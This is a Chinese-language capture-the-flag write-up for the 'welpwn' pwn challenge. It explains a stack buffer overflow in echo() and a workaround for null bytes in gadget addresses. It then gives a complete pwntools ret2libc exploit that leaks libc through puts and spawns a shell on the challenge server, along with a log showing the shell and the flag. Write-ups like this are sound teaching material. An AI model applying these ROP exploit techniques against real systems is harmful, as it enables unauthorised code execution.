攻防世界高手进阶区 ——Welpwn

分析文件

checksec分析

1
2
3
4
5
6
7
coke@ubuntu:~/桌面/CTFworkstation/OADW/welpwn$ checksec welpwn
[*] '/home/coke/桌面/CTFworkstation/OADW/welpwn/welpwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

文件开启了堆栈不可执行,常规了。

ida分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[1024]; // [rsp+0h] [rbp-400h] BYREF

write(1, "Welcome to RCTF\n", 0x10uLL);
fflush(_bss_start); // fflush()会强迫将缓冲区内的数据写回参数stream 指定的文件中。
read(0, buf, 1024uLL);
echo((__int64)buf);
return 0;
}

int __fastcall echo(__int64 a1)
{
char s2[16]; // [rsp+10h] [rbp-10h] BYREF

for ( i = 0; *(_BYTE *)(i + a1); ++i )
s2[i] = *(_BYTE *)(i + a1); // 存在漏洞,传入数据为1024个字节,但栈区只有16个字节
s2[i] = 0;
if ( !strcmp("ROIS", s2) )
{
printf("RCTF{Welcome}");
puts(" is not flag");
}
return printf("%s", s2);
}

分析文件main函数没有什么可以利用的漏洞,但是echo函数里面有一个不太常见的漏洞,这个的echo函数的s2数组只有16个字节i,但是传入的参数可以为1024个字节。于是这里存在栈溢出漏洞。

解题思路

这里可以利用栈溢出漏洞来构造ROP链

因为echo函数的赋值循环遇到0就停止,ROP链中的地址一般都有0

1
0x000000000040089c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret

就像上面那样,且linux系统是小端序传参。所以我们要是将上面这个gadget传给服务器。

服务器收到的值是这样的:

1
9c 08 40 00 00 00 00 00 

所以在构造返回地址时我们只能给echo的栈区传一个ret。

但是由于函数之间的栈是连续的

在echo栈的下面就是main函数的栈区

1
2
3
4
5
6
7
8
9
10
11
12
13
14
buf= byte ptr -400h
....
push rbp
mov rbp, rsp
sub rsp, 400h
.....
lea rax, [rbp+buf]
mov edx, 400h ; nbytes
mov rsi, rax ; buf
mov edi, 0 ; fd
call _read
lea rax, [rbp+buf]
mov rdi, rax
call echo

而且从下面这段代码可以看出来,read函数在读取数据的时候先放在距离栈底偏移为400h的栈上。所以我们输入的数据从距离栈底距离400h的地方向高地址增长。

(省略号表示中间省略了一些代码)

下面的图片表示了在赋值循环开始前的栈区示意图:

在这里插入图片描述

在我们将构造的数据赋值之后的栈区示意图为:假设我们的payload为 ‘a’*0x18 + p64(pop_4) + p64(ROPchain)

img

可以看到这里在执行完返回地址后只剩下ROPchain了,pop_4就是我们前面看到的gadget

1
0x000000000040089c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret

用于弹出4个栈区的值。

常规libcsearcher解题

现在只需要按照常见的泄露函数got地址—-寻找libc版本—-计算偏移地址—-构造getshell ROP链

一个小tips:

  • 因为是六十四位的程序,所以传参方式为寄存器传参,传参顺序为rdi ,rsi ,rdx ,rcx , r8 , r9

都做到这个题来了,剩下的基本上应该还是挺熟悉的了。

我就直接把wp给了吧

wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from LibcSearcher import *

r = remote("111.200.241.244",55395)
context(os = 'linux',log_level = "debug")
pop_rdi = 0x4008a3
pop_rsi = 0x4008a1
pop_4 = 0x40089c
main_addr = 0x4007CD
elf = ELF("./welpwn")
puts_plt = elf.plt['puts']
read_got = elf.got['read']
print r.recvuntil("Welcome to RCTF\n")
payload = "a" * 0x18 + p64(pop_4) + p64(pop_rdi) + p64(read_got) + p64(puts_plt) + p64(main_addr)
r.sendline(payload)

print r.recvuntil('a' * 0x18)
print r.recv(3)
read_addr = u64(r.recv(6).ljust(8, "\x00"))
print "read:",hex(read_addr)
libc = LibcSearcher("read", read_addr)
libc_base = read_addr - libc.dump("read")
system = libc_base + libc.dump("system")
print "system:",hex(system)
bin_sh = libc_base + libc.dump("str_bin_sh")
print "bin_sh:",hex(bin_sh)
payload = "a" * 0x18 +p64(pop_4) + p64(pop_rdi) + p64(bin_sh) + p64(system)
r.sendline(payload)
r.interactive()

出来的结果是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
Multi Results:
0: ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
1: archive-old-glibc (id libc6-i386_2.19-10ubuntu2.3_amd64)
Please supply more info using
add_condition(leaked_func, leaked_address).
You can choose it by hand
Or type 'exit' to quit:0
[+] ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) be choosed.
system: 0x7f27860e0390
bin_sh: 0x7f2786227d57
[DEBUG] Sent 0x39 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
00000010 61 61 61 61 61 61 61 61 9c 08 40 00 00 00 00 00 │aaaa│aaaa│··@·│····│
00000020 a3 08 40 00 00 00 00 00 57 7d 22 86 27 7f 00 00 │··@·│····│W}"·│'···│
00000030 90 03 0e 86 27 7f 00 00 0a │····│'···│·│
00000039
[*] Switching to interactive mode

$ ls
[DEBUG] Sent 0x3 bytes:
'ls\n'
[DEBUG] Received 0x42 bytes:
'bin\n'
'dev\n'
'flag\n'
'lib\n'
'lib32\n'
'lib64\n'
'libc32-2.19.so\n'
'libc64-2.19.so\n'
'welpwn\n'
bin
dev
flag
lib
lib32
lib64
libc32-2.19.so
libc64-2.19.so
welpwn
$ cat flag
[DEBUG] Sent 0x9 bytes:
'cat flag\n'
[DEBUG] Received 0x2d bytes:
'cyberpeace{c873ec075c0b3148a7d435f292149bb1}\n'
cyberpeace{c873ec075c0b3148a7d435f292149bb1}

这里有两种libc,一个一个试就行了。